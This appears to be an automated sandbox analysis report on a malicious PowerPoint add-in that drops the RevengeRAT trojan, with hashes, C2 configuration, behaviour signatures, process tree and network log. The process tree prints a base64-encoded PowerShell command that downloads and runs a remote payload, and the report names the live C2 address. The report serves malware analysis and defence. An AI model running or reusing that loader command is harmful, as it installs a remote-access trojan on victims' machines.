Analysis

  • max time kernel
    120s
  • max time network
    147s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    22/08/2024, 10:52 UTC

General

  • Target

    c821cfc5e83b96365f4384312fa29e7407a42fb97871e8f1f23ab4a698c1b390.ppam

  • Size

    32KB

  • MD5

    7314737e8dfca524250fcd6508f11d17

  • SHA1

    2d3156b0c3b5f3944abe6c86e7096e07ca53e052

  • SHA256

    c821cfc5e83b96365f4384312fa29e7407a42fb97871e8f1f23ab4a698c1b390

  • SHA512

    72f565623e7890bc5ce6efb3adb217d1602f485c327ca3b2a4e51f48709affa2a0190837031d48f1e4dc16a7ed78029f81b6f092dbc86cff1c675bf66e1c3e72

  • SSDEEP

    768:VP5E4C674aDfgF+So703s1fhrI4dxDpe287hjMWHxN21ah5kZEeW:Vm4B8argYg6rI4dZE3KWn21Q5yEeW

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\c821cfc5e83b96365f4384312fa29e7407a42fb97871e8f1f23ab4a698c1b390.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1824
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2812
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1964
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:1236

    Network

    • flag-us
      DNS
      firebasestorage.googleapis.com
      powershell.exe
      Remote address:
      8.8.8.8:53
      Request
      firebasestorage.googleapis.com
      IN A
      Response
      firebasestorage.googleapis.com
      IN A
      142.250.179.74
      firebasestorage.googleapis.com
      IN A
      216.58.214.74
      firebasestorage.googleapis.com
      IN A
      216.58.215.42
      firebasestorage.googleapis.com
      IN A
      216.58.214.170
      firebasestorage.googleapis.com
      IN A
      142.250.179.106
      firebasestorage.googleapis.com
      IN A
      172.217.20.202
      firebasestorage.googleapis.com
      IN A
      172.217.20.170
      firebasestorage.googleapis.com
      IN A
      142.250.75.234
      firebasestorage.googleapis.com
      IN A
      142.250.201.170
      firebasestorage.googleapis.com
      IN A
      142.250.178.138
      firebasestorage.googleapis.com
      IN A
      216.58.213.74
    • 142.250.179.74:443
      firebasestorage.googleapis.com
      tls
      powershell.exe
      19.1kB
      872.9kB
      365
      630
    • 18.228.165.84:3333
      RegSvcs.exe
      2.0kB
      1.3kB
      24
      27
    • 8.8.8.8:53
      firebasestorage.googleapis.com
      dns
      powershell.exe
      76 B
      252 B
      1
      1

      DNS Request

      firebasestorage.googleapis.com

      DNS Response

      142.250.179.74
      216.58.214.74
      216.58.215.42
      216.58.214.170
      142.250.179.106
      172.217.20.202
      172.217.20.170
      142.250.75.234
      142.250.201.170
      142.250.178.138
      216.58.213.74

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1236-58-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1236-60-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1236-62-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1236-64-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1236-66-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

    • memory/1236-67-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1236-68-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1236-69-0x0000000000400000-0x000000000040A000-memory.dmp

      Filesize

      40KB

    • memory/1824-40-0x0000000071D1D000-0x0000000071D28000-memory.dmp

      Filesize

      44KB

    • memory/1824-37-0x0000000004B70000-0x0000000004C70000-memory.dmp

      Filesize

      1024KB

    • memory/1824-43-0x0000000004B70000-0x0000000004C70000-memory.dmp

      Filesize

      1024KB

    • memory/1824-72-0x0000000071D1D000-0x0000000071D28000-memory.dmp

      Filesize

      44KB

    • memory/1824-71-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1824-42-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

    • memory/1824-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1824-2-0x0000000071D1D000-0x0000000071D28000-memory.dmp

      Filesize

      44KB

    • memory/1824-12-0x0000000004B70000-0x0000000004C70000-memory.dmp

      Filesize

      1024KB

    • memory/1824-38-0x0000000004B70000-0x0000000004C70000-memory.dmp

      Filesize

      1024KB

    • memory/1824-41-0x0000000004B70000-0x0000000004C70000-memory.dmp

      Filesize

      1024KB

    • memory/1824-0-0x000000002D951000-0x000000002D952000-memory.dmp

      Filesize

      4KB

    • memory/1824-39-0x0000000004B70000-0x0000000004C70000-memory.dmp

      Filesize

      1024KB

    • memory/1964-53-0x0000000002B60000-0x0000000002B78000-memory.dmp

      Filesize

      96KB

    • memory/1964-47-0x0000000002B60000-0x0000000002B78000-memory.dmp

      Filesize

      96KB

    • memory/1964-51-0x0000000002B60000-0x0000000002B78000-memory.dmp

      Filesize

      96KB

    • memory/1964-55-0x0000000002B60000-0x0000000002B78000-memory.dmp

      Filesize

      96KB

    • memory/1964-57-0x0000000002B60000-0x0000000002B78000-memory.dmp

      Filesize

      96KB

    • memory/1964-46-0x0000000002B60000-0x0000000002B78000-memory.dmp

      Filesize

      96KB

    • memory/1964-49-0x0000000002B60000-0x0000000002B78000-memory.dmp

      Filesize

      96KB

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